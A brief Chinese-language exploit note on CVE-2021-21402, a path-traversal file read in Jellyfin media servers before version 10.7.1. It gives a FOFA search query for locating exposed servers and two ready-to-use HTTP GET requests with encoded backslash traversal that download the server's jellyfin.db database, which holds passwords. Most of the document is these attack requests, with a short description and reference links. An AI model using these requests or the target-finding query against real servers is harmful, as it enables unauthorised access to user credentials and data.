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Jellyfin 任意文件读取(CVE-2021-21402)

Jellyfin是一个免费软件媒体系统。在10.7.1版之前的Jellyfin中,带有某些终结点的精心设计的请求将允许从Jellyfin服务器的文件系统中读取任意文件。

fofa:

title="Jellyfin"

任意文件读取:

//以下请求jellyfin.db将从服务器下载带有密码的数据库
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1

-w1093

ref:

  • https://nvd.nist.gov/vuln/detail/CVE-2021-21402
  • https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/
  • https://forum.ywhack.com/thread-115353-1-7.html